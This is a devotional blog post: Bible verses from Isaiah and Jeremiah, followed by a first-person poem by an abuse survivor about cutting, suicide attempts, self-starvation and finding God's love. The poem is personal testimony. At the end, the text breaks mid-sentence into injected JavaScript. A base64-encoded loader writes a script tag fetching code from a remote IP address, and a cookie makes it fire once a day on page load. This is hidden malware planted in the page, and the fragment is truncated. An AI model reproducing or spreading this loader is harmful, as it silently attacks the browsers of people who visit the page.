August 2008
Since you are precious and honored in my sight, and because I love you, I will give men in exchange for you, and people in exchange for your life (Isaiah 43:4).”
Listen to me, you islands; hear this, you distant nations: Before I was born the LORD called me; from my birth he has made mention of my name. He made my mouth like a sharpened sword, in the shadow of his hand he hid me; he made me into a polished arrow and concealed me in his quiver. He said to me, ‘You are my servant, Israel, in whom I will display my splendor.’ But I said, ‘I have labored to no purpose; I have spent my strength in vain and for nothing. Yet what is due me is in the LORD’s hand, and my reward is with my God’ (Isaiah 49:1-4).”
Shout for joy, O heavens; rejoice, O earth; burst into song, O mountains! For the LORD comforts his people and will have compassion on his afflicted ones. But Zion said, ‘The LORD has forsaken me, the Lord has forgotten me.’ ‘Can a mother forget the baby at her breast and have no compassion on the child she has borne?’ Though she may forget, I will not forget you! See, I have engraved you on the palms of my hands; your walls are ever before me (Isaiah 49:13-16).”
The LORD appeared to us in the past, saying: ‘I have loved you with an everlasting love; I have drawn you with loving-kindness (Jeremiah 31:3).’”
In a tiny little shack an insignificant, nothing
little girl lies abuse, weeping in despondency
while majestic You looms all around
yet resides intimately within, carrying her.
You are God of the entire universe,
which the earth is just a speck of, and
my world is just a fragment of the earth.
Then there is me, a tiny nobody thing who
should be of no value, yet You delight in me!
Proved my value by dying that I might live!
You know my pain intimately: carrying it!
You know my sin intimately: dying for it!
Each tear entered in Your ledger.
My name written in the palms of your hand.
Lord of the universe and lord of my life,
a deep personal relationship with You!
So good, loving irrelevant me; it was You, dear Lord,
who was with me all along the way of suffering.
Through every despairing prison, deepest abuse,
darkest depression You, LORD of all,
were right there holding Your precious child,
working Your breath-taking plan in all the torment, in me.
All along You knew I would be yours, love, serve, glorify
You with my life, carry the gospel where You take me!
Bring me back to the most profound truth ever known,
yet just recently begun to embrace:
Jesus Loves ME!
A moment of weeping,
experiencing Your love in a most intimate way.
This truth that your heart is love for me
has begun to penetrate my heart and soul:
You love me, You adore me, Alaina!
As I grasp even a small measure of this agape
most of my issues have vanished into thin air.
Many of the issues I still struggle with have
unbelief at their root,
for if I truly believe that You love me, then
why would I cut, try to end it all, starve myself?
I cannot because of all that Your love is,
all of the remarkable promises it brings!
Now, touching more deeply to my present struggle:
Can You love me though tainted by years of sexual abuse?
The heart of my fears: for this You cannot love me.
By no means! Your love far surpasses any pain, any sin too!
In a way to deep to express with words,
You have shown me there were not only
messages all along the way, but You held me
in every rape, carried me in Your love
through all the abuse to spacious places!
You not only love me in spite of the abuse,
but Your love somehow guided me
during the abuse of my soul!
As You hold my burden You look back and smile.
You reach down, untie the chains that bind saying,
“Soon you will be free and when I set You free
You will be free indeed!” ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘